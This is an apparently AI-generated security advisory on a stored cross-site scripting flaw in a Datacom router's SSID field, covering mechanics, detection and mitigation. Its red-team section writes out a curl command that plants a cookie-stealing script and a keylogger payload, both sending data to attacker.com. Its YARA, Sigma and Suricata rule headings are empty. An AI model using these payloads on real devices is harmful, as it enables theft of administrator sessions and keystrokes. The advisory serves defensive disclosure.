CVE-2025-8765

Executive Summary

CVE-2025-8765 is a publicly disclosed, unpatched cross-site scripting (XSS) vulnerability affecting the Datacom DM955 5GT 1200 router (firmware version 825.8010.00). The flaw resides in the Wireless Basic Settings component, specifically within the SSID parameter. An attacker can exploit this by crafting a malicious SSID that, when rendered in the router's administrative interface, executes arbitrary JavaScript in the context of an authenticated administrator's session. The CVSS score is 3.5 (Low), but the public availability of exploit details and the lack of a vendor patch elevate the risk for organizations using this device. No supply chain package (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 3.5 (Low)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the XSS.
• User Interaction (UI): Required (R) – The victim (admin) must view the malicious SSID in the web interface.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No direct data theft.
• Integrity (I): Low (L) – Attacker can modify content within the admin session.
• Availability (A): None (N) – No denial of service.

Threat Level: Low, but elevated due to public exploit and no patch.

Deep Dive & Mechanics

The vulnerability is a classic stored cross-site scripting (XSS) in the Wireless Basic Settings page of the Datacom DM955 router. The SSID parameter is not properly sanitized or encoded before being stored and later rendered in the HTML of the administrative interface.

Attack Flow:

1. An attacker with network access to the router (or via a compromised client) sends a crafted HTTP request to the router's configuration endpoint, setting the SSID to a malicious payload, e.g., <script>alert('XSS')</script>.
2. The router stores this payload in its configuration database.
3. When an authenticated administrator accesses the Wireless Basic Settings page, the server retrieves the SSID and inserts it directly into the HTML without proper escaping.
4. The victim's browser executes the injected JavaScript, which can then perform actions on behalf of the admin (e.g., change admin password, exfiltrate session cookies, modify firewall rules).

Root Cause: Lack of output encoding for user-controlled input (SSID) in the web interface.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Directly echoes user input without sanitization
$ssid = $_POST['ssid'];
echo "<input type='text' name='ssid' value='$ssid'>";

Patched Code (Conceptual):

// Patched: HTML-encode the output
$ssid = htmlspecialchars($_POST['ssid'], ENT_QUOTES, 'UTF-8');
echo "<input type='text' name='ssid' value='$ssid'>";

Note: No official patch is available from Datacom at this time.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Datacom DM955 router with firmware 825.8010.00.
• Network access to the router's web interface (typically port 80 or 443).
• A web browser to trigger the XSS.

Exploit Steps:

1. Send a POST request to the router's configuration endpoint (e.g., /cgi-bin/config.cgi) with the malicious SSID.

   curl -X POST http://<router-ip>/cgi-bin/config.cgi \
     -d "ssid=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>"
   

2. Wait for an authenticated admin to view the Wireless Basic Settings page.
3. The admin's browser executes the script, sending their session cookie to the attacker's server.

Alternative Payload (Keylogging):

<script>
document.addEventListener('keydown', function(e) {
  fetch('http://attacker.com/keylog?key=' + e.key);
});
</script>

Blue Team

Detection:

• Monitor HTTP requests to the router's configuration endpoints for unusual SSID values containing <script>, onerror=, or other HTML event handlers.
• Use network traffic analysis to detect outbound connections from the router to unknown IPs (potential data exfiltration).

Hunting:

• Search router logs for SSID changes that contain HTML tags.
• Review web server logs for requests to /cgi-bin/config.cgi with suspicious POST data.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /cgi-bin/config.cgi with ssid parameter containing <script> tags.
  • Outbound HTTP requests from the router to attacker-controlled domains (e.g., attacker.com).
• Host:
  • Router configuration showing SSID with embedded JavaScript.
  • Unusual entries in the router's web access logs.
• File:
  • No file-based IOCs as this is a web-based vulnerability.

Detection Engineering

YARA Rule

Sigma Rule

Suricata Rule

Remediation & Mitigation

Immediate Actions:

1. Isolate the Device: Place the Datacom DM955 router on a separate VLAN with restricted access to the administrative interface.
2. Disable Remote Management: If not required, disable remote access to the router's web interface.
3. Monitor Logs: Actively monitor router logs for SSID changes and suspicious HTTP requests.

Long-Term Fix:

• Vendor Patch: Await an official firmware update from Datacom. Contact their support for an ETA.
• Workaround: If possible, use a different router model or implement a reverse proxy that sanitizes SSID input before forwarding to the router.
• Network Segmentation: Ensure the router is not directly exposed to the internet.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.